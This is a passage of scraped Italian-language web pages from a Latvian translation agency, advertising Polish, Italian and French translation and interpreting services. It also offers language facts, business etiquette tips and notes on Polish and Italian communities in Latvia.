incontri commerciali o di altro tipo, conferenze o altri eventi su Zoom o altre piattaforme online. Per i privati offriamo traduzioni di documenti d'identità, di certificati di matrimonio, di certificati di nascita, di documenti relativi all’istruzione o alla formazione, di passaporti, di documentazione medica, e di tanto altro. IL POLACCO NEL COMMERCIO Nel mondo del degli affari, la comunicazione è probabilmente l’aspetto più importante. Tuttavia, quando ci si trova nella propria nazione, dato che ci relazioniamo solo con individui della nostra stessa cultura, la si dà spesso per scontata. Per iniziare un’attività all’estero, è necessario considerare non soltanto la lingua e la cultura della nazione straniera, ma anche le caratteristiche della comunicazione e del comportamento da tenere. Trovandosi al centro dell’Europa, in una posizione strategica, la Polonia è il posto ideale dove investire per tutte quelle attività che vogliono esportare i loro prodotti sia in oriente che in occidente. La Polonia è tra i paesi del mondo più stabili e in crescita da un punto di vista economico. Essa si posiziona al 15° posto tra i migliori paesi in cui iniziare un’attività imprenditoriale. La sua situazione economica è stabile e continua ad esserlo. Attualmente, c’è grande interesse nell’iniziare nuove attività negli ambiti della ristorazione, dei servizi di consulenza, sopratutto di consulenza commerciale, dei negozi online, dell’organizzazione di eventi, di servizi IT e del sociale. Ma come avvengono gli incontri commerciali in Polonia? Gli uomini d'affari polacchi sono solitamente formali e taciturni, quindi nel primo incontro saranno probabilmente poco espansivi. Essi sono abbastanza diretti e parlano subito delle possibili opportunità di cooperazione future. Non aspettatevi battute durante il primo incontro; esse sono solo per gli eventi sociali. Di solito, I polacchi parlano a bassa voce, ma sono determinati e decisi. Possiedono qualifiche elevate, sono ben istruiti e sono uomini d'affari molto competenti. Il polacco è la lingua ufficiale dello stato ma, dato che la Polonia confina con molte altre nazioni, la maggior parte dei polacchi parla anche altre lingue. Quelle più popolari sono il russo, il tedesco e l’inglese. Anche se molti polacchi parlano bene l’inglese, vale la pena imparare qualche frase e parola in polacco per dare una buona impressione. Questo garantirà la firma di un accordo di cooperazione e l’inizio della propria attività in Polonia. È importante ricordare che i polacchi considerano la famiglia molto importante e sono restii a parlare di lavoro al di fuori dell’orario ad esso dedicato, che solitamente va dalle 8:00 alle 16:00. La Polonia è un paese molto burocratico, dove lo status di una persona è ancora significativo. Dato che la maggior parte degli esperti di lingua polacca vive in Polonia, il polacco sarà raramente utilizzato in ambito commerciale in altre nazioni. I POLACCHI IN LETTONIA La minoranza polacca in Lettonia è composta da circa 45. 584 individui ed è il 2,3% della popolazione. Alcuni vivono nelle città di Daugavpils, Riga e Jelgava, ma anche nella municipalità di Daugavpils e di Krāslava. È dal XVII secolo che l'etnia polacca vive nell'attuale territorio della Lettonia. In "Latvju dainās" ("Canti dei lettoni") di Krišjānis Barons ci sono 173 canti popolari diversi contenenti il lessema "poļi" (polacchi), e nell’Archivio del folklore lettone dell’Istituto di letteratura, folklore e arte dell’Università della Lituania è possibile trovare 205 canzoni popolari diverse che hanno i polacchi come soggetto. Per di più, la maggior parte di queste canzoni sono originarie della Letgallia (43%) e della Curlandia. Alcune delle canzoni popolari lettoni sui polacchi sono state composte in memoria dei soldati russi-polacchi o come canzoni satiriche. Oggigiorno, i polacchi e i lettoni hanno contatti stabili in tutti i settori e su tutti i livelli. Le aree in cui la cooperazione fra le due nazioni è più attiva sono quelle della protezione, degli affari interni, dello sviluppo regionale, dell’istruzione e della cultura. Avendo un elevato potenziale, una delle priorità è lo stabilimento di contatti economici e tra mercati. La Lettonia è quindi interessata a continuare a sviluppare questi contatti e a rafforzarli bilateralmente nella regione del mar Baltico, nell’Unione Europea, nella NATO, nonché nelle organizzazioni internazionali, tra cui anche l’ONU. Inoltre, nei settori dell’educazione e della cultura, la cooperazione tra Polonia e Lettonia è molto variegata e la diaspora polacca nel paese baltico ha un ruolo significativo nel rafforzamento della cooperazione tra i due Paesi. Sono circa 46mila i polacchi che vivono in Lettonia, pari al 2,3% della popolazione totale. L’Unione lettone dei polacchi e il Centro di cultura polacca a Daugavpils sono molto attivi e lavorano per radunare una comunità di rappresentanti dei polacchi che vivono in Lettonia e di appassionati della cultura polacca. Il programma culturale e di cooperazione tra Lettonia e Polonia prevede delle borse di studio bilaterali per studio, ricerca e partecipazione in scuole estive, cooperazione nelle questioni riguardanti la minoranza polacca in Lettonia, come anche programmi di scambio per esperti di lingua e cultura polacca e per esperti di lingua, cultura e letteratura lettone. In Lettonia, sono molteplici gli istituti di istruzione che garantiscono dei percorsi formativi volti ad aiutare gli studenti a conoscere la lingua e cultura polacca: Scuola elementare polacca Krāslava, che prende il nome dalla famiglia del conte Plāteris; Scuola secondaria polacca di Riga Ita Kozakēviča; Liceo polacco J. Piłsudski della municipalità rurale di Daugavpils; Liceo polacco della municipalità rurale di Rēzekne. La Polonia fornisce regolarmente supporto sia tecnico che finanziario per la gestione delle scuole lettoni, invia professori dalla Polonia e organizza delle opportunità di scambio professionale per gli insegnanti della Lettonia. Tra Lettonia e Polonia è attiva anche la cooperazione nell'ambito dell'istruzione superiore. Diverse università della Lettonia, tra cui l’Università della Lettonia, l’Università Lettone di Scienze e Tecnologie della Vita, l’Accademia d’arte della Lettonia, hanno stipulato accordi di cooperazione e accordi di scambio per studenti e professori con università polacche. Inoltre, Lettonia e Polonia cooperano attivamente anche nel settore della cultura. Gli artisti delle due nazioni partecipano con regolarità ai festival e ai concerti organizzati da entrambi i paesi e i collettivi musicali della Lettonia collaborano con i direttori d’orchestra polacchi. Grazie alla solida cooperazione tra le Case degli Scrittori Internazionali e Traduttori e la Polonia, le prime sono spesso oggetto di visita di scrittori, poeti e traduttori polacchi. In aggiunta, la Biblioteca nazionale di Varsavia, la Biblioteca polacca del Sejm e la Biblioteca della Pomeriana di Stettino sono tutte parte di una cooperazione a lungo termine con la Biblioteca nazionale della Lettonia. Oltre a ciò, il Centro lettone per l’arte contemporanea, il Museo Etnografico all'aperto della Lettonia, l'Associazione dei Musei della Memoria della Lettonia e il Museo lettone di storia nazionale realizzano regolarmente progetti coinvolgendo rappresentanti polacchi. Per di più, la Lettonia riceve anche un discreto supporto dalla Polonia per la manutenzione del proprio patrimonio culturale. Di fatti, è frutto della collaborazione tra Polonia e Lettonia la ricostruzione dell’abbazia di Pasiene che, insieme alla chiesa cattolica romana di S. Domenico, è uno degli edifici in stile barocco polacco o barocco europeo orientale più belli e noti della Letgallia e della Lettonia in generale. È dal 1999 che la chiesa si trova nella lista dei beni appartenenti al patrimonio culturale europeo. ln aggiunta, il restauro del murale della chiesa cattolica romana S. Louis di Krāslava, che è durato diversi anni, è stato svolto da esperti di restauro polacchi che si sono occupati della parte pratica. Il governo polacco si è fatto anche carico delle spese di restauro, nonché del restauro dell’altare laterale. Sono opera del governo polacco anche la restaurazione degli affreschi della chiesa cattolica romana di Piedruja. L'Ambasciata polacca in Lettonia è stata inaugurata il 12 novembre 1991. Diciotto anni fa, l’attuale ambasciatrice polacca in Lettonia, Monika Michaliszyn, lavorava presso l’Accademia lettone di cultura mentre, allo stesso tempo, gestiva il corso di studi relativo alle relazioni interculturali tra Polonia e Lettonia. Una volta tornata alla sua terra natia, iniziò a insegnare lingua e cultura lettone presso l’Università di Varsavia. I NOSTRI SERVIZI IN LINGUA POLACCA PIÙ RICHIESTI: traduzioni generali e specialistiche in lingua polacca; traduzioni certificate da un notaio; localizzazione; traduzione automatica neurale; servizi di desktop publishing (DTP); adattamento di testi e copywriting; servizi di interpretazione in lingua polacca; corsi di lingua polacca; verifica delle competenze linguistiche. COMBINAZIONI LINGUISTICHE: Da lettone a polacco; da polacco a lettone; da estone a polacco; da polacco a estone; da lituano a polacco; da russo a polacco; da polacco a russo; da ceco a polacco; da ucraino a polacco; da polacco a ucraino; da inglese a polacco; da polacco a inglese; da polacco a spagnolo; da spagnolo a polacco; da tedesco a polacco; da polacco a tedesco; da italiano a polacco; da polacco a italiano; da francese a polacco; da polacco a francese; da danese a polacco; da polacco a danese; da norvegese a polacco; da polacco a norvegese; da svedese a polacco; da polacco a svedese; da finlandese a polacco; da polacco a finlandese e tante altre. I NOSTRI SERVIZI IN LINGUA POLACCA PIÙ RICHIESTI: traduzioni generali e specialistiche in lingua polacca; traduzioni certificate da un notaio; localizzazione; traduzione automatica neurale; servizi di desktop publishing (DTP); adattamento di testi e copywriting; servizi di interpretazione in lingua polacca; corsi di lingua polacca; verifica delle competenze linguistiche. COMBINAZIONI LINGUISTICHE: Da lettone a polacco; da polacco a lettone; da estone a polacco; da polacco a estone; da lituano a polacco; da russo a polacco; da polacco a russo; da ceco a polacco; da ucraino a polacco; da polacco a ucraino; da inglese a polacco; da polacco a inglese; da polacco a spagnolo; da spagnolo a polacco; da tedesco a polacco; da polacco a tedesco; da italiano a polacco; da polacco a italiano; da francese a polacco; da polacco a francese; da danese a polacco; da polacco a danese; da norvegese a polacco; da polacco a norvegese; da svedese a polacco; da polacco a svedese; da finlandese a polacco; da polacco a finlandese e tante altre. --- > Traduzioni generali, specialistiche e notarili in lingua italiana. Servizi di interpretazione e corsi di lingua italiana. - Published: 2023-12-19 - Modified: 2024-08-22 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-italu-valoda/ - Translation Priorities: Optional TRADUZIONI DA E VERSO L’ITALIANO QUANTO COSTANO LE TRADUZIONI DA E VERSO L’ITALIANO? Il costo delle traduzioni da e verso l’italiano è calcolato singolarmente per ogni ordine tenendo conto delle sue caratteristiche specifiche. Ad esempio, il prezzo di un servizio di interpretazione consecutiva o simultanea si basa sulla durata del servizio, sul luogo dell’evento, sulle spese di viaggio e sulla diaria. Per un servizio di interpretazione simultanea sono invece considerati anche altri aspetti, come l’attrezzatura tecnica e il numero di traduttori necessari. Per quanto riguarda le traduzioni scritte invece, per decidere il prezzo sono considerati il volume del materiale da tradurre, il termine di consegna del lavoro, la complessità del testo, le ripetizioni al suo interno, l’elaborazione grafica e la formattazione, i servizi di correzione e di revisione del testo e altri servizi richiesti dal cliente. È DISPONIBILE IL LISTINO PREZZI? Sì, il listino prezzi dei servizi di traduzione scritta e di interpretazione (simultanea e consecutiva) da e verso l’italiano è parte integrante dei contratti che stipuliamo con i nostri clienti. Prima dell’inizio di ogni progetto di traduzione, i project manager di Skrivanek Baltic preparano le informazioni riguardanti il costo del lavoro in modo dettagliato. Il preventivo è pronto in circa 30 minuti. Per le traduzioni scritte, il prezzo varia a seconda del numero delle parole nel testo di partenza, della complessità degli elementi grafici, del numero di ripetizioni, ma anche a seconda di altri parametri. Volete sapere quanto costa tradurre i vostri documenti? Mandateci un’e-mail con il materiale da tradurre! Avete bisogno di un servizio di traduzione da/verso l’italiano? O di una combinazione tra un servizio di traduzione e uno commerciale correlato? Contattate Skrivanek Baltic oggi stesso per ricevere un preventivo gratuito! Forniamo i seguenti servizi in lingua italiana: Traduzione di documenti in italiano Interpretazione simultanea in italiano Validazione linguistica di traduzioni in italiano Interpretazione consecutiva in italiano Trascrizione in italiano Grafica e composizione tipografica in italiano Servizi di voice over e di sottotitolaggio in italiano Servizi di selezione di staff italiano Marketing multiculturale in italiano Gestione di documenti in italiano Servizi di deposizione in italiano Servizi di data room virtuali in italiano Supporto per l'e-learning in italiano Cercate un servizio linguistico in italiano? Prepareremo il servizio giusto per voi e vi consulteremo sull’argomento di vostro interesse. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Cliente *PrivatoAzienda Nome e cognome *Telefono Aggiungere Rimuovere Nome e cognome *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere MessaggioAggiungete un documento fino a 20 MB; se le dimensioni del documento sono maggiori, specificatelo nel messaggio e vi contatteremo. Click or drag files to this area to upload. You can upload up to 10 files. Come ci hai conosciuto? Come ci hai conosciuto? Sono già cliente di SkrivanekTramite ricerca GoogleAmici/conoscentiFacebookTwitterLinkedInInstagramPubblicità esterna (cartelloni pubblicitari, ecc. )FieraQuotidiani, giornali, riviste, ecc. Altrove *Acconsento al trattamento dei miei dati personali ai fini della presente richiesta in conformità con l'Informativa sulla privacy. di Skrivanek Baltic. Invia Qualità e riservatezza garantite dai certificati ISO I nostri project manager parlano lettone, russo, inglese, tedesco e polaccoIl 99% dei clienti riceve un'offerta di prezzo in meno di 15 minutiPiù di 3000 professionisti della lingua e madrelinguaOltre il 98% dei nostri clienti ci consiglierebbe ai loro amici e partnerTraduciamo ogni anno più di 16 milioni di parole ALCUNI FATTI INTERESSANTI SULLA LINGUA ITALIANA L’italiano è una lingua romanza appartenente alla famiglia delle lingue indoeuropee. Esso si è evoluta dal latino volgare, il quale era la lingua ufficiale dell’antica Roma, ed è considerato il suo più diretto discendente. Le sue origini si possono far risalire al I secolo a. C. Le prime testimonianze scritte dell’italiano risalgono al X secolo d. C. e sono annotazioni e brevi testi. La più antica testimonianza di italiano scritto risale all'anno 960. L’italiano è la lingua ufficiale dell’Italia, nonché una delle lingue ufficiali dell’Unione europea. Inoltre, essa è anche lingua minoritaria in due nazioni dell’Unione europea, ossia Croazia e Slovenia. Insieme al tedesco, all'inglese e al francese, è una delle lingue più utilizzate all’interno dell’Unione europea. Anche se non è una lingua internazionale e commerciale come l’inglese, il francese o lo spagnolo, l’italiano è diffuso nei paesi del mediterraneo ed è tra le lingue più studiate al mondo. Essa è inoltre particolarmente utile per storici dell’arte e musicisti, ed è piuttosto importante anche nel mondo della gastronomia. Di fatti, soprattutto in questi campi, l’italiano ha influenzato praticamente tutte le lingue del mondo. Questo testimonia il domino praticamente assoluto della cultura italiana nella storia dell’Europa, un dominio che è iniziato con l’impero romano, che è continuato con il rinascimento e che è arrivato fino ai tempi moderni. L'italiano letterario si basa sul dialetto toscano (fiorentino), il quale è stato reso popolare da autori come Dante Alighieri, Giovanni Boccaccio e Francesco Petrarca nel XIII e XIV secolo. Tuttavia, per molto tempo l’italiano non ebbe una lingua letteraria e gli autori scrivevano nel proprio dialetto che era diverso per ogni città, dato che alcuni secoli fa molte città erano considerate città-stato a sé stanti. Il francese conta circa 3000 prestiti dall'italiano e i dialetti dei paesi vicini, ossia Francia, Croazia e Slovenia, sono stati molto influenzati dall’italiano. Anche il maltese ha molti prestiti dall’italiano. L’italiano è oggi la lingua di lavoro della Città del Vaticano ed è importante in tutto il mondo cattolico. In italiano, gli articoli sono posti prima dei sostantivi per indicare il genere e il numero. Prima dei nomi femminili singolari si usa l'articolo "la", mentre per quelli plurali l’articolo “le”. Prima dei sostantivi maschili singolari si usa invece l’articolo “il”, mentre per quelli plurali “i”. I sostantivi femminili plurali sono accompagnati dall'articolo "le", mentre quelli maschili plurali alla "i". Vengono utilizzati anche articoli indeterminativi; "una" per i sostantivi femminili e "un" per quelli maschili. In Italia c’è una grande diversità linguistica, maggiore delle altre nazioni di lingua romanza. Sotto diversi aspetti, l’italiano letterale è più simile allo spagnolo o al portoghese rispetto al piemontese o al napoletano. I dialetti del Piemonte sono infatti più vicini al provenzale e al francese. Essendo più simile al latino classico, il toscano è ancora considerato il dialetto più corretto da un punto di vista letterario. L’unità d’Italia del 1861 ebbe delle conseguenze tanto sul piano politico, quanto su quello sociale, economico e culturale. Con l’introduzione dell’istruzione obbligatoria, aumentò l’importanza dell’alfabetizzazione, portando quindi molte persone a dimenticare il proprio dialetto nativo a favore della lingua di stato. Anche se raramente come prima lingua straniera, l’italiano viene insegnato in molte scuole e università in tutto il mondo. Inoltre, rendendo accessibili nuovi e semplici metodi per imparare a parlare, leggere e scrivere in italiano, le tecnologie moderne potrebbero promuovere la sua diffusione. Secondo i dati raccolti dal Ministero degli Affari Esteri d’Italia, ogni anno più di 200. 000 studenti stranieri vogliono imparare l'italiano. L'ALFABETO ITALIANO L’alfabeto latino ha visto la propria diffusione durante l’impero romano e ha poi continuato ad esistere anche dopo la sua caduta. Di fatti, quando le nazioni europee iniziarono a sviluppare i loro sistemi di scrittura, usarono l’alfabeto latino come base; così fecero anche gli italiani nel X secolo. A questo alfabeto furono quindi tolte o aggiunte delle lettere per esprimere alcuni fonemi. L'alfabeto italiano è composto da 21 lettere. Anche se occorrono in parole straniere, le lettere j, k, w, x, e y non sono solitamente considerate parte dell’alfabeto. Esso deriva dal quello latino e ha 5 vocali (a, e, i, o, u) e 16 consonanti (b, c, d, f, g, h, l, m, n, p, q, r, s, t, v, z). QUANTO È DIFFICILE LA LINGUA ITALIANA? Chi non ha mai pensato di mettersi a studiare italiano? Anche solo l’ascolto della musica italiana fa nascere l’interesse in questa lingua lirica, sonora e meravigliosa. Secondo i linguisti, l’italiano è una delle lingue più facili da imparare. Non è una sorpresa quindi che sia anche una delle lingue più studiate al mondo. Per riuscire a intrattenere una semplice conversazione in questa lingua, dovrebbero essere necessarie 24 ore di studio a settimana per 25 settimane. La pronuncia italiana è abbastanza facile, bella e melodica. Nella maggior parte dei casi, le parole si pronunciano come sono scritte. Per chi già conosce una lingua romanza tra francese, spagnolo o portoghese, l’italiano risulterà più facile. Ciò che tuttavia potrebbe ostacolare l’apprendimento di questa lingua è la sua grammatica; di fatti, ogni gruppo di parole ha il proprio genere. Inoltre, nel parlato è difficile capire quando la consonante è doppia e ciò potrebbe anche cambiare il significato della parola. Perciò, per imparare l’italiano sono necessarie lezioni pratiche, ascoltare musica, leggere poesie, soggiorni in Italia, ma anche tanta dedizione. DOVE E IN QUANTI PARLANO ITALIANO? I madrelingua di italiano sono circa 67 milioni. Essa è lingua ufficiale in Italia, San Marino e in Città del Vaticano, oltre ad essere una delle 24 lingue ufficiali e di lavoro dell’Unione europea. Inoltre, in Croazia e Slovenia è utilizzata come lingua minoritaria. Le maggiori diaspore di italofoni vivono in Brasile (circa 25 milioni di parlanti), Argentina (2,4 milioni), Stati Uniti (8 milioni), Canada (1,5 milioni), Uruguay (1,5 milioni) e Australia (meno di 1 milione). I NOSTRI TRADUTTORI E INTERPRETI DI ITALIANO Il team di traduttori e interpreti di Skrivanek Baltic fornisce sia traduzioni scritte di documenti standard che traduzioni tecniche complesse, come anche traduzioni certificate da un notaio. L'agenzia di traduzione Skrivanek si occupa anche della revisione e del miglioramento stilistico dei testi in italiano. Naturalmente, i nostri linguisti possono anche fornirvi informazioni sulle differenze culturali, su come lavorare con partner commerciali italiani e sulla storia e tradizioni della nazione. I servizi di traduzione che forniamo più spesso da e verso l’italiano alle aziende nostre clienti sono la traduzione di contenuti di siti web e di e-commerce, adattamento di slogan pubblicitari, accordi di cooperazione, atti legali, sentenze e documentazione commerciale. Forniamo anche servizi di interpretazione consecutiva in incontri di lavoro o di altro tipo, nonché in occasione di conferenze e su Zoom. Per i privati, eseguiamo traduzioni di documenti di riconoscimento, certificati di matrimonio, certificati di nascita, documenti relativi all’istruzione o alla formazione, passaporti, documentazione medica, ecc. L’ITALIANO NEL COMMERCIO La posizione geografica dell’Italia è molto importante, dato che la rende un centro logistico strategico, nonché una porta di accesso al mercato unico dell’Unione europea, La capacità di utilizzare le parole e gesti giusti è fondamentale, soprattutto in Italia, dove i gesti e il contatto visivo sono gli elementi principali della comunicazione. Mantenere le distanze o allontanarsi può essere visto come un gesto scortese. Gli italiani agiscono spesso in base alle loro emozioni e, per sviluppare buone relazioni commerciali, la fiducia è fondamentale. Non bisogna essere impazienti durante le riunioni, dato che un partner commerciale potrebbe interpretare tale comportamento come una mancanza di rispetto. Sicuramente, è importante mostrarsi interessati al cibo, all’arte, alla moda o allo sport italiano, ed è importante farlo non soltanto durante gli incontri di lavoro. Scherzando, si dice che per interrompere un italiano che sia sufficiente bloccargli le mani. Nel caso non vogliate parlare italiano durante l’incontro di lavoro, è necessario informare il partner commerciale con un’e-mail, una lettera o un messaggio e specificare in quale lingua vi sentite a vostro agio a parlare. Di fatti, capita spesso che gli imprenditori italiani non parlino inglese e che vogliano avvalersi dei servizi di un interprete professionista. Effettivamente, anche se non mancano imprenditori che parlano sia inglese che francese, l’italiano sarà sempre la lingua dominante. Gli italiani apprezzeranno sempre chi cerca di parlare nella loro lingua madre, non importa quanto bene la si parli. Bisogna considerare infatti che, per sviluppare una relazione commerciale di successo in Italia, è molto importante conoscere l’italiano. Senza considerare i settori relativi alla musica, all’arte, alla scienza e alle arti culinarie, l’italiano non ha un ruolo significativo al di fuori dell’Italia. ITALIANI IN LETTONIA Nel 2021, l’Italia e la Lettonia hanno celebrato due anniversari importanti, ossia i 100 anni dall’instaurazione delle prime relazioni diplomatiche tra i due paesi e i 30 anni dal riconoscimento della ristabilita indipendenza della Lettonia e dal rinnovo delle relazioni diplomatiche. L'Italia è stata uno dei primi paesi a stabilire un'ambasciata a Riga nel 1992. Inoltre, l’Italia e la Lettonia cooperano attivamente nell’ambito dell’educazione culturale. Di fatti, nell’ambito dei programmi dell’Unione europea sono stati stipulati numerosi accordi di cooperazione tra le università lettoni e italiane, e il governo italiano assegna anche borse di studio agli studenti lettoni in Italia. Allo stesso tempo, il governo italiano concede borse di studio agli studenti lettoni in Italia. Anche l’Accademia lettone di cultura, l’Accademia d’arte della Lettonia e l’Accademia della musica della Lettonia Jāzeps Vītols cooperano attivamente con gli istituti di istruzione italiani. Tra studenti a tempo pieno e studenti Erasmus, sono più di cento gli studenti italiani che studiano nelle università lettoni. Nel 2021, erano 66 i cittadini italiani che studiavano all'Università della Lettonia. Di essi, 23 erano studenti a tempo pieno, mentre gli altri si trovavano in Lettonia per un solo semestre perché parte del programma Erasmus. È l’Università Stradiņš di Riga a detenere il primato di studenti italiani: sono 96 a studiarvi a tempo pieno. L'Università Tecnica di Riga ne conta invece quasi 30 È dal 2005 che l’Accademia lettone di cultura propone un corso di studio in comunicazione interculturale, il quale prevede anche un sottoprogramma in comunicazione interculturale tra Lettonia e Italia. Nell'ambito della cultura, ogni anno i film lettoni vengono presentati ai maggiori festival cinematografici italiani: alla Mostra del Cinema di Venezia, alla Festa del cinema di Roma, al Trento film festival, al Trieste film festival e al Festival del film di Torino. Tra Italia e Lettonia è particolarmente attiva anche la cooperazione nell’ambito della difesa, dato che l’Italia partecipa al gruppo di battaglia capeggiato dal Canada in Lettonia. L’Italia è anche solita partecipare alla missione NATO di pattugliamento aereo nel baltico. I NOSTRI SERVIZI LINGUISTICI IN LINGUA ITALIANA PIÙ RICHIESTI: traduzioni generali e specialistiche in lingua italiana; traduzioni certificate da un notaio; localizzazione; traduzione automatica neurale; servizi di desktop publishing (DTP); adattamento di testi e copywriting; servizi di interpretazione in lingua italiana; corsi di lingua italiana; verifica delle competenze linguistiche. COMBINAZIONI LINGUISTICHE: Da lettone a italiano; da italiano a lettone; da estone a italiano; da italiano a estone; da lituano a italiano; da italiano a lituano; da russo a italiano; da ceco a italiano; da italiano a ceco; da polacco a italiano; da italiano a polacco; da ucraino a italiano; da italiano a ucraino; da inglese a italiano; Italiano a inglese; Italiano a spagnolo; da spagnolo a italiano; da tedesco a italiano; da italiano a tedesco; da francese a italiano; da italiano a francese; da danese a italiano; da italiano a danese; da norvegese a italiano; da italiano a norvegese; da svedese a italiano; da italiano a svedese; da finlandese a italiano; da italiano a finlandese, ma anche altre combinazioni. I NOSTRI SERVIZI LINGUISTICI IN LINGUA ITALIANA PIÙ RICHIESTI: traduzioni generali e specialistiche in lingua italiana; traduzioni certificate da un notaio; localizzazione; traduzione automatica neurale; servizi di desktop publishing (DTP); adattamento di testi e copywriting; servizi di interpretazione in lingua italiana; corsi di lingua italiana; verifica delle competenze linguistiche. COMBINAZIONI LINGUISTICHE: Da lettone a italiano; da italiano a lettone; da estone a italiano; da italiano a estone; da lituano a italiano; da italiano a lituano; da russo a italiano; da ceco a italiano; da italiano a ceco; da polacco a italiano; da italiano a polacco; da ucraino a italiano; da italiano a ucraino; da inglese a italiano; Italiano a inglese; Italiano a spagnolo; da spagnolo a italiano; da tedesco a italiano; da italiano a tedesco; da francese a italiano; da italiano a francese; da danese a italiano; da italiano a danese; da norvegese a italiano; da italiano a norvegese; da svedese a italiano; da italiano a svedese; da finlandese a italiano; da italiano a finlandese, ma anche altre combinazioni. --- > Traduzioni generali e specializzate, traduzioni notarili, interpretazione e altre soluzioni in lingua francese. - Published: 2023-12-19 - Modified: 2024-08-22 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-francu-valoda/ - Translation Priorities: Optional TRADUZIONI DA E VERSO IL FRANCESE QUANTO COSTANO LE TRADUZIONI DA E VERSO IL FRANCESE? Il costo delle traduzioni da e verso il francese è calcolato singolarmente per ogni ordine e dipende dalle sue caratteristiche specifiche. Ad esempio, il prezzo dei servizi di interpretazione simultanea e consecutiva dipende dalla durata dell’incarico, dai costi di viaggio e dalla diaria. Per i servizi di interpretazione simultanea, ci sono delle spese aggiuntive dovute al supporto tecnico, le quali dipendono dal numero di partecipanti all’evento, ecc. Per quanto riguarda le traduzioni scritte invece, per decidere il prezzo sono considerati il volume del materiale da tradurre, il termine di consegna del lavoro, la complessità della terminologia, le ripetizioni all’interno del testo, la formattazione e la complessità di immagini e grafiche, la revisione, come anche altri servizi richiesti dal cliente. È DISPONIBILE IL LISTINO PREZZI? Naturalmente. Il listino prezzi dei servizi di traduzione scritta e di interpretazione (sia simultanea che consecutiva), di localizzazione e di adattamento da e verso il francese è parte integrante dei contratti che stipuliamo con i nostri clienti. Prima dell’inizio di ogni progetto di traduzione, i project manager di Skrivanek Baltic preparano le informazioni riguardanti il costo del lavoro in modo dettagliato. Il preventivo è pronto in circa 30 minuti. Per le traduzioni scritte, il prezzo varia a seconda delle dimensioni del testo da tradurre, della complessità degli elementi grafici, del numero di ripetizioni, ma anche a seconda di altri parametri. Volete sapere quanto costa tradurre i vostri documenti? Mandateci un’e-mail con il materiale da tradurre! Avete bisogno di un servizio di traduzione da/verso il francese? O di una combinazione tra un servizio di traduzione e uno commerciale correlato? Contattate Skrivanek Baltic oggi stesso per ricevere un preventivo gratuito! Forniamo i seguenti servizi in lingua francese: Traduzione di documenti in francese Interpretazione simultanea in francese Validazione linguistica di traduzioni in francese Interpretazione consecutiva in francese Trascrizione in francese Grafica e composizione tipografica in francese Servizi di voice over e di sottotitolaggio in francese Servizi di selezione di staff francese Marketing multiculturale in francese Gestione di documenti in francese Servizi di deposizione in francese Servizi di data room virtuali in francese Supporto per l'e-learning in francese Cercate un servizio linguistico in francese? Prepareremo il servizio giusto per voi e vi consulteremo sull’argomento di vostro interesse. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Cliente *PrivatoAzienda Nome e cognome *Telefono Aggiungere Rimuovere Nome e cognome *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere MessaggioAggiungete un documento fino a 20 MB; se le dimensioni del documento sono maggiori, specificatelo nel messaggio e vi contatteremo. Click or drag files to this area to upload. You can upload up to 10 files. Come ci hai conosciuto? Come ci hai conosciuto? Sono già cliente di SkrivanekTramite ricerca GoogleAmici/conoscentiFacebookTwitterLinkedInInstagramPubblicità esterna (cartelloni pubblicitari, ecc. )FieraQuotidiani, giornali, riviste, ecc. Altrove *Acconsento al trattamento dei miei dati personali ai fini della presente richiesta in conformità con l'Informativa sulla privacy. di Skrivanek Baltic. Invia Qualità e riservatezza garantite dai certificati ISO I nostri project manager parlano lettone, russo, inglese, tedesco e polaccoIl 99% dei clienti riceve un'offerta di prezzo in meno di 15 minutiPiù di 3000 professionisti della lingua e madrelinguaOltre il 98% dei nostri clienti ci consiglierebbe ai loro amici e partnerTraduciamo ogni anno più di 16 milioni di parole ALCUNI FATTI INTERESSANTI SULLA FRANCIA E SULLA LINGUA FRANCESE Dal punto di vista sonoro, la lingua francese sembra abbastanza sofisticata. Essa è considerata una delle lingue più logiche, ricche, sonore e romantiche del mondo. Qualsiasi frase suonerebbe bene in francese: perle di saggezza, dichiarazioni d’amore, terminologia scientifica e perfino le peggiori volgarità del mondo. Il francese ha un ruolo importante nel mondo: è la quarta lingua più utilizzata di internet, la terza più utilizzata negli affari e la seconda più utilizzata dai mass media internazionali. Secondo le stime dell’organizzazione internazionale La Francophonie, entro il 2060 saranno 767 milioni i parlanti di francese nel mondo. Il francese è la lingua ufficiale, nonché lingua di lavoro, fra gli altri, delle Nazioni unite, dell’Unione Europea, dell’UNESCO, della NATO, del Comitato olimpico internazionale, della croce rossa internazionale. TV5MONDE è il principale ed unico canale televisivo globale in lingua francese ed è accessibile in 198 paesi del mondo, tra cui Cina, Cuba e Corea del Nord. La lettera più usata in francese è la e. Il francese è la lingua internazionale delle arti culinarie, della moda, del teatro, delle arti visive, della danza e dell’architettura. Conoscendo questa lingua si può avere accesso a meravigliose opere letterarie francesi, nonché a film e musica in lingua originale. Il francese è la lingua di Victor Hugo, Molière, Édith Piaf, Jean-Paul Sartre, Alain Delon e Zinedine Zidane. Il romanzo Les Misérables, capolavoro dello scrittore francese Victor Hugo, è stato tradotto in numerose lingue. È proprio in questo romanzo che si trova la frase più lunga di tutta la letteratura: 823 parole senza segni di interpunzione fra loro, ma solo un punto a fine frase. Conoscere il francese dà inoltre la possibilità di studiare nelle famose università e business school francesi, le quali si posizionano tra i migliori istituti di istruzione in Europa e nel mondo. Con più di 87 milioni di visitatori ogni anno, la Francia è una meta turistica molto popolare. Se si sa parlare anche un po’ di francese, sarà molto più piacevole visitare Parigi e il resto della Francia. Inoltre, in questo modo si può comprendere la cultura e lo stile di vita francese e questa lingua può rivelarsi utile quando si viaggia nelle altre zone francofone del mondo. Imparare il francese vuol dire prima di tutto provare la gioia di studiare una lingua bella, vivace e melodica, la quale è spesso chiamata la lingua dell’amore. Il francese è anche una lingua analitica che dà una struttura alle proprie idee e che migliora le proprie abilità logiche, cosa che è sicuramente d’aiuto in discussioni e conversazioni. L'ALFABETO 